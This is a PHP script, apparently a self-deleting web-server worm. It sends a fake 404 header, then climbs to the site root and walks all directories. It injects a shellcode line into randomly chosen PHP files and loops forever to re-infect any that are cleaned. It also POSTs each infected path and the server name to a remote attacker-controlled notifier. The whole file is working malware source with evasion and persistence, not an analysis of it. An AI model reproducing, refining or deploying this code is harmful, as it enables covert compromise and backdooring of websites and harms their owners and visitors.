<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/7/2016
 * Time: 22:25
 */
$remote_injected_notifier_path = "remote_injected_notifier_path:placeholder";
$shellcode = "shellcode:placeholder";
$max_inject = 1;
$notify_server = true;

$echo_injected = true;

$delete_self = true;

header("Content-Type:text/plain; charset=UTF-8");

// fake dead header
header($_SERVER["SERVER_PROTOCOL"] . " 404 Not Found", true, 404);

// ignoring abort
ignore_user_abort(true);

// no time limit
set_time_limit(0);

// self-deleting
if($delete_self)
    unlink(__FILE__);


class Utils
{
    static function is_php_file($filename)
    {
        $len = strlen($filename);
        return ($len >4 && strpos($filename, ".php") == $len - 4);
    }
    static function search_root($prevRoot = ".")
    {
        $curRoot = $prevRoot . "/..";
        $dir = dir($curRoot);
        while($filename = $dir->read())
        {
            if(self::is_php_file($filename))
            {
                return self::search_root($curRoot);
            }
        }
        return $prevRoot;
    }
    
}
class Enjector
{
    static function is_php_code_injected($code)
    {
        global $shellcode;
        return strpos($code, $shellcode) !== false;
    }
    
    static function inject_php_code($code)
    {
        global $shellcode;
        return preg_replace("/<\\?(php|)(?=\\W)/", "<?php\r\n$shellcode;\r\n", $code, 1);
    }
    
    static function inject_php_file_if_not_injected($path)
    {
        $code = file_get_contents($path);
        if(!self::is_php_code_injected($code))
        {
            $newCode = self::inject_php_code($code);
            if(file_put_contents($path, $newCode))
            {
            }
            return true;
        }
        return false;
    }
}


class Executor
{
    static public $files_injected = array();
    static public $max_inject = 10;
    static public $notify_server = false;
    static function notify_server_injected($path)
    {
        if(!self::$notify_server)
            return false;
        global $remote_injected_notifier_path;
        // prepare params
        $params = array(
            'action' => 'notifyInjected',
            'path' => $path,
            'wormUri' => $_SERVER['REQUEST_URI'],
            'server' => $_SERVER['SERVER_NAME']
        );
        
        // prepare options for stream
        $opt = array('http'=>array(
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($params)
        ));
        return (file_get_contents($remote_injected_notifier_path, false, stream_context_create($opt)));
    }
    static function on_php_file_found($path)
    {
        // for each php file, 10% property to inject our shell
        if(rand(0, 10) == 1 && (self::$max_inject == -1 || sizeof(self::$files_injected) < self::$max_inject))
        {
            if(Enjector::inject_php_file_if_not_injected($path))
            {
                array_push(self::$files_injected, $path);
                global $echo_injected, $notify_server;
                if($echo_injected)
                {
                    echo "injected : $path\n";
                    ob_flush();
                    flush();
                }
                if($notify_server)
                    self::notify_server_injected($path);
            }
        }
    }
    
    static function task_ensure_injected()
    {
        static $i = 0;
        $nfile = sizeof(self::$files_injected);
        if($nfile == 0)
            return;
        
        $path = self::$files_injected[$i];
        
        Enjector::inject_php_file_if_not_injected($path);
        
        $i = ++$i % $nfile;
    }
    static function traverse($root)
    {
        // traverse all directory from root directory
        $dir = dir($root);
        while($filename = $dir->read())
        {
            $full = "$root/$filename";
            if(is_dir($full) && $filename != ".." && $filename != ".")
            {
                self::traverse($full);
            }
            if (Utils::is_php_file($filename))
            {
                self::on_php_file_found($full);
            }
            self::task_ensure_injected();
        }
    }
    static function exec($root)
    {
        while(true)
        {
            self::traverse($root);
        }
    }
}
Executor::$max_inject = $max_inject;
Executor::$notify_server = $notify_server;

// search root directory reversal
$root = Utils::search_root();
echo "root : $root\n";
Executor::exec($root);


// server side : record each file : worm_host_url, worm_relative_path, fixed_url
